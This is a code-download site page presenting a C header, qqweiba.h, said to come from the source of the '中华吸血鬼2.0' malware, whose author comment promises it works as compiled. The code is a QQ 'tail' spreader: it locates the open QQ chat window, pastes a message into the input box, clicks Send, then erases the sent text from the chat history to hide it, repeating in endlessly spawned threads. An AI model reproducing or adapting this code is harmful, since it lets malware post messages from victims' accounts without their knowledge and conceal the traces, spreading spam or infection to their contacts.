⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 qqweiba.h

📁 中华吸血鬼2.0源代码,这是一个低版本的代码,但是也包含了比较强的功能,一切仅供研究使用,若用于非法用途,后果自负!
💻 H
字号:

/* 
			中华吸血鬼源代码  作者:黑网之神购买代码后请勿随便发布,请
			珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
			已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
			,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
			非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
			    
				            作者:黑网之神     2008/5/1  
*/




//qqweiba.h
#include "head.h"
DWORD WINAPI qqweiba(LPVOID lpParameter);

//自己看,太多,不注释了


//--------------------------------------------------------------------------
//---------------------------定义全局变量,尾巴字符--------------------------
//--------------------------------------------------------------------------
char szTest[1000]={"QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"};  //QQ尾巴要发送的文本
//--------------------------------------------------------------------------
HWND hChild;
char szQQlistNumber[50][50];
int NumberForszQQlistNumber=0;
//--------------------------------------------------------------------------
typedef struct tagMYCTRLINFO
{ 
	long CtrlID; 
	long CtrlStyle; 
}MYCTRLINFO,*PMYCTRLINFO;	
//--------------------------------------------------------------------------
HWND GetQQWnd()  //得到QQ窗口
{
	HWND hwnd=GetForegroundWindow();
	DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
	char ClassBuf[255]={0};
	GetClassName(hwnd,ClassBuf,255);
	if(strcmp(ClassBuf,"#32770")==0 && dwStyle==0x160F0044)
	{
	return hwnd;
	}
	return (HWND)-1;
}
//--------------------------------------------------------------------------

BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
	if(((PMYCTRLINFO)(void*)lParam)->CtrlID==GetWindowLong(hwnd,GWL_ID) && 
	((PMYCTRLINFO)(void*)lParam)->CtrlStyle==GetWindowLong(hwnd,GWL_STYLE))
	{
	hChild=hwnd;
	return false;
	}
	return true;
}
//--------------------------------------------------------------------------
HWND FindChildWindow(HWND hParent,long CtrlID,long CtrlStyle)
{
	hChild=(HWND)-1;  
	MYCTRLINFO ctrlinfo;
	ctrlinfo.CtrlID=CtrlID;
	ctrlinfo.CtrlStyle=CtrlStyle;
	if(EnumChildWindows(hParent,(WNDENUMPROC)EnumChildProc,(LPARAM)(void*)(&ctrlinfo)))
	{
	return hChild;
	}
	return hChild;
}

//--------------------------------------------------------------------------

HWND GetMsgEdit(HWND hQQWnd) //得到发送文本框
{
	return FindChildWindow(hQQWnd,0x0000037E,0x50011004);
}

//--------------------------------------------------------------------------

HWND GetSendButton(HWND hQQWnd) //得到发送按钮
{
	return FindChildWindow(hQQWnd,0x0000077E,0x5001000B);
}

//--------------------------------------------------------------------------

HWND GetHistoryWnd(HWND hParent)
{
	return FindChildWindow(hParent,0x380,0x50011804);
}
//--------------------------------------------------------------------------


HWND GetNameBar(HWND hQQWnd)
{
	return FindChildWindow(hQQWnd,0x00000546,0x50000100);
}
//--------------------------------------------------------------------------


BOOL IsQQUsed(char(*pChar)[50],char *_szQqNumber,int iCntColum)   
{
    int   iX=0;
	while(iX<iCntColum)  
	{
	if(lstrcmpi(pChar[iX],_szQqNumber)==0)
	{	
	return TRUE;
	}
	iX++;
	}
	return FALSE;
}
//--------------------------------------------------------------------------


void AddQQ(char szQQ[])
{
	lstrcpy(szQQlistNumber[NumberForszQQlistNumber],szQQ);
	NumberForszQQlistNumber++;
}
//--------------------------------------------------------------------------

void SendTail()  //发送尾巴数据
{
	HWND hParent=GetQQWnd();
	if(!IsWindow(hParent))
	return;
	HWND  hMsg=GetMsgEdit(hParent);
	HWND hSendButton=GetSendButton(hParent);
	HWND hHistory=GetHistoryWnd(hParent); 
	HWND hNameBar=GetNameBar(hParent);
  
   	if(!IsWindow(hMsg))
	return;
	if(!IsWindow(hSendButton))
	return;
	if(!IsWindow(hNameBar))
	return;
	if(!IsWindow(hHistory))
	return;
	char szClassName[MAX_PATH]={0};
	char szTitleStr[MAX_PATH]={0};
	HWND hWnd=GetForegroundWindow();
	GetClassName(hWnd,szClassName,MAX_PATH);
	if(!lstrcmp(szClassName,"#32770"))
	{
	GetWindowText(hWnd,szTitleStr,MAX_PATH);
	if(IsQQUsed(szQQlistNumber,szTitleStr,NumberForszQQlistNumber))
	{
	return;
	}
	AddQQ(szTitleStr);
	}

//--------------------------------------------------------------------------
	if(IsWindow(hMsg)&&IsWindow(hSendButton))
	{
	Sleep(100);
	int nFirstSel,nLastSel;
	SendMessage(hHistory,EM_SETSEL,0,-1);
	SendMessage(hHistory,WM_COPY,0,0);
	SendMessage(hHistory,EM_SETSEL,0,0);
	SendMessage(hHistory,EM_SETSEL,0,0xFFFF);
	SendMessage(hHistory,EM_GETSEL,WPARAM(&nFirstSel),LPARAM(&nLastSel));
	SendMessage(hMsg,EM_SETSEL,0xFFFF,0);
	SendMessage(hMsg,EM_REPLACESEL,0,LPARAM(szTest));
	SendMessage(hSendButton,BM_CLICK,0,0);
	SendMessage(hSendButton,WM_LBUTTONDOWN,0,0);
	SendMessage(hSendButton,WM_LBUTTONUP,0,0);
	SendMessage(hHistory,EM_SETSEL,nLastSel-1,0xFFFF);
	SendMessage(hHistory,EM_REPLACESEL,0,0);
	}
}



//--------------------------------------------------------------------------

DWORD WINAPI rinima(LPVOID lpParameter)
{
	HANDLE  hnd  =  CreateMutex(NULL,TRUE,"HDM");
	if  (GetLastError()==ERROR_ALREADY_EXISTS)
	{
		return 0;
	}

	while(1)
	{
		Sleep(200);
		SendTail();	
	}
	
}
//--------------------------------------------------------------------------

DWORD WINAPI qqweiba(LPVOID lpParameter)
{
	while (100)
	{
	Sleep(2000);
	CreateThread(0,0,(LPTHREAD_START_ROUTINE)rinima,NULL,0,NULL);
	 
}
return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -